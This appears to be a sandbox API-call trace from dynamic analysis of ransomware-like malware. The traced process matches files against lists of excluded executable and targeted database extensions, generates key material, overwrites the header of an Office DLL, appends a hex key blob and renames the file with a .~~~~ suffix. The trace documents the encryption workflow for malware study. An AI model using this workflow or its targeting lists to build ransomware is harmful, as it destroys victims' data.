	[0081.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3d38 | out: hHeap=0x300000) returned 1
	[0081.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe638 | out: hHeap=0x300000) returned 1
	[0081.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3d38
	[0081.823] lstrlenW (lpString=".scr") returned 4
	[0081.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".scr") returned 0x0
	[0081.823] lstrlenW (lpString=".cmd") returned 4
	[0081.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".cmd") returned 0x0
	[0081.823] lstrlenW (lpString=".dll") returned 4
	[0081.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".dll") returned 0x0
	[0081.823] lstrlenW (lpString=".bat") returned 4
	[0081.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".bat") returned 0x0
	[0081.823] lstrlenW (lpString=".cpl") returned 4
	[0081.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".cpl") returned 0x0
	[0081.823] lstrlenW (lpString=".sys") returned 4
	[0081.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".sys") returned 0x0
	[0081.823] lstrlenW (lpString=".msc") returned 4
	[0081.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".msc") returned 0x0
	[0081.823] lstrlenW (lpString=".com") returned 4
	[0081.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".com") returned 0x0
	[0081.823] lstrlenW (lpString=".lnk") returned 4
	[0081.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".lnk") returned 0x0
	[0081.823] lstrlenW (lpString=".msp") returned 4
	[0081.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".msp") returned 0x0
	[0081.823] lstrlenW (lpString=".pif") returned 4
	[0081.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".pif") returned 0x0
	[0081.823] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0081.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.825] lstrlenW (lpString=".sqb") returned 4
	[0081.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".sqb") returned 0x0
	[0081.825] lstrlenW (lpString=".ost") returned 4
	[0081.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".ost") returned 0x0
	[0081.825] lstrlenW (lpString=".txt") returned 4
	[0081.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".txt") returned 0x0
	[0081.825] lstrlenW (lpString=".mdt") returned 4
	[0081.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".mdt") returned 0x0
	[0081.825] lstrlenW (lpString=".BDB") returned 4
	[0081.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".BDB") returned 0x0
	[0081.826] lstrlenW (lpString=".eql") returned 4
	[0081.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".eql") returned 0x0
	[0081.826] lstrlenW (lpString=".DBF") returned 4
	[0081.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".DBF") returned 0x0
	[0081.826] lstrlenW (lpString=".EQL") returned 4
	[0081.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".EQL") returned 0x0
	[0081.826] lstrlenW (lpString=".FDB") returned 4
	[0081.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".FDB") returned 0x0
	[0081.826] lstrlenW (lpString=".EDB") returned 4
	[0081.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".EDB") returned 0x0
	[0081.826] lstrlenW (lpString=".DACPAC") returned 7
	[0081.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".DACPAC") returned 0x0
	[0081.826] lstrlenW (lpString=".VHD") returned 4
	[0081.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".VHD") returned 0x0
	[0081.826] lstrlenW (lpString=".DBV") returned 4
	[0081.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".DBV") returned 0x0
	[0081.826] lstrlenW (lpString=".dacpac") returned 7
	[0081.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".dacpac") returned 0x0
	[0081.826] lstrlenW (lpString=".sdf") returned 4
	[0081.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".sdf") returned 0x0
	[0081.826] lstrlenW (lpString=".accdb") returned 6
	[0081.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".accdb") returned 0x0
	[0081.826] lstrlenW (lpString=".DBX") returned 4
	[0081.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".DBX") returned 0x0
	[0081.827] lstrlenW (lpString=".MDT") returned 4
	[0081.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".MDT") returned 0x0
	[0081.827] lstrlenW (lpString=".SQB") returned 4
	[0081.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".SQB") returned 0x0
	[0081.827] lstrlenW (lpString=".vhd") returned 4
	[0081.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".vhd") returned 0x0
	[0081.827] lstrlenW (lpString=".bac") returned 4
	[0081.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".bac") returned 0x0
	[0081.827] lstrlenW (lpString=".mdf") returned 4
	[0081.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".mdf") returned 0x0
	[0081.827] lstrlenW (lpString=".BAK") returned 4
	[0081.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".BAK") returned 0x0
	[0081.827] lstrlenW (lpString=".BAC") returned 4
	[0081.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".BAC") returned 0x0
	[0081.827] lstrlenW (lpString=".dbs") returned 4
	[0081.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".dbs") returned 0x0
	[0081.827] lstrlenW (lpString=".vhdx") returned 5
	[0081.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".vhdx") returned 0x0
	[0081.827] lstrlenW (lpString=".NDF") returned 4
	[0081.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".NDF") returned 0x0
	[0081.827] lstrlenW (lpString=".dat") returned 4
	[0081.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".dat") returned 0x0
	[0081.827] lstrlenW (lpString=".DBS") returned 4
	[0081.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".DBS") returned 0x0
	[0081.827] lstrlenW (lpString=".CKP") returned 4
	[0081.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".CKP") returned 0x0
	[0081.828] lstrlenW (lpString=".edb") returned 4
	[0081.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".edb") returned 0x0
	[0081.828] lstrlenW (lpString=".PST") returned 4
	[0081.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".PST") returned 0x0
	[0081.828] lstrlenW (lpString=".dbf") returned 4
	[0081.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".dbf") returned 0x0
	[0081.828] lstrlenW (lpString=".SQL") returned 4
	[0081.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".SQL") returned 0x0
	[0081.828] lstrlenW (lpString=".pst") returned 4
	[0081.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".pst") returned 0x0
	[0081.828] lstrlenW (lpString=".dbv") returned 4
	[0081.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".dbv") returned 0x0
	[0081.828] lstrlenW (lpString=".SDF") returned 4
	[0081.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".SDF") returned 0x0
	[0081.828] lstrlenW (lpString=".dtxs") returned 5
	[0081.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".dtxs") returned 0x0
	[0081.828] lstrlenW (lpString=".db3") returned 4
	[0081.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".db3") returned 0x0
	[0081.828] lstrlenW (lpString=".OST") returned 4
	[0081.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".OST") returned 0x0
	[0081.828] lstrlenW (lpString=".dbx") returned 4
	[0081.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".dbx") returned 0x0
	[0081.828] lstrlenW (lpString=".DB3") returned 4
	[0081.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".DB3") returned 0x0
	[0081.828] lstrlenW (lpString=".DAT") returned 4
	[0081.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".DAT") returned 0x0
	[0081.828] lstrlenW (lpString=".VHDX") returned 5
	[0081.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".VHDX") returned 0x0
	[0081.829] lstrlenW (lpString=".ndf") returned 4
	[0081.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".ndf") returned 0x0
	[0081.829] lstrlenW (lpString=".DB") returned 3
	[0081.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".DB") returned 0x0
	[0081.829] lstrlenW (lpString=".sql") returned 4
	[0081.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".sql") returned 0x0
	[0081.829] lstrlenW (lpString=".MYD") returned 4
	[0081.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".MYD") returned 0x0
	[0081.829] lstrlenW (lpString=".DBT") returned 4
	[0081.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".DBT") returned 0x0
	[0081.829] lstrlenW (lpString=".ACCDB") returned 6
	[0081.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".ACCDB") returned 0x0
	[0081.829] lstrlenW (lpString=".fdb") returned 4
	[0081.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".fdb") returned 0x0
	[0081.829] lstrlenW (lpString=".bak") returned 4
	[0081.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".bak") returned 0x0
	[0081.829] lstrlenW (lpString=".myd") returned 4
	[0081.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".myd") returned 0x0
	[0081.829] lstrlenW (lpString=".DTXS") returned 5
	[0081.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".DTXS") returned 0x0
	[0081.829] lstrlenW (lpString=".ckp") returned 4
	[0081.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".ckp") returned 0x0
	[0081.829] lstrlenW (lpString=".dbt") returned 4
	[0081.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".dbt") returned 0x0
	[0081.829] lstrlenW (lpString=".db") returned 3
	[0081.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".db") returned 0x0
	[0081.829] lstrlenW (lpString=".TXT") returned 4
	[0081.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".TXT") returned 0x0
	[0081.830] lstrlenW (lpString=".MDF") returned 4
	[0081.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".MDF") returned 0x0
	[0081.830] lstrlenW (lpString=".bdb") returned 4
	[0081.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".bdb") returned 0x0
	[0081.830] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0081.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.830] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0081.831] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.831] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0081.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0081.831] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20182128733) returned 1
	[0081.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9aa18a30, dwHighDateTime=0x1d60e1e)) 
	[0081.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0081.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0081.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0081.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe638
	[0081.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe638 | out: hHeap=0x300000) returned 1
	[0081.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a2e0
	[0081.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0081.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a2e0 | out: hHeap=0x300000) returned 1
	[0081.832] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0081.832] GetLastError () returned 0x0
	[0081.832] GetLastError () returned 0x0
	[0081.832] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0081.832] GetLastError () returned 0x0
	[0081.832] GetLastError () returned 0x0
	[0081.834] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.839] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.839] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0081.840] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.840] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.840] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.840] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.840] CloseHandle (hObject=0x120) returned 1
	[0081.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.841] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll.~~~~")) returned 1
	[0081.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0068 | out: hHeap=0x300000) returned 1
	[0081.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0081.842] GetLastError () returned 0x0
	[0081.842] RtlWakeConditionVariable () returned 0x365f70
	[0081.842] GetCurrentThreadId () returned 0x9cc
	[0081.842] GetCurrentThreadId () returned 0x9cc
	[0081.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f02f0 | out: hHeap=0x300000) returned 1
	[0081.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe670 | out: hHeap=0x300000) returned 1
	[0081.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f02f0
	[0081.842] lstrlenW (lpString=".scr") returned 4
	[0081.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".scr") returned 0x0
	[0081.842] lstrlenW (lpString=".cmd") returned 4
	[0081.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".cmd") returned 0x0
	[0081.842] lstrlenW (lpString=".dll") returned 4
	[0081.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".dll") returned 0x0
	[0081.842] lstrlenW (lpString=".bat") returned 4
	[0081.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".bat") returned 0x0
	[0081.843] lstrlenW (lpString=".cpl") returned 4
	[0081.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".cpl") returned 0x0
	[0081.843] lstrlenW (lpString=".sys") returned 4
	[0081.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".sys") returned 0x0
	[0081.843] lstrlenW (lpString=".msc") returned 4
	[0081.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".msc") returned 0x0
	[0081.843] lstrlenW (lpString=".com") returned 4
	[0081.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".com") returned 0x0
	[0081.843] lstrlenW (lpString=".lnk") returned 4
	[0081.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".lnk") returned 0x0
	[0081.843] lstrlenW (lpString=".msp") returned 4
	[0081.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".msp") returned 0x0
	[0081.843] lstrlenW (lpString=".pif") returned 4
	[0081.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".pif") returned 0x0
	[0081.843] lstrlenW (lpString="msp\r\n.pif") returned 9
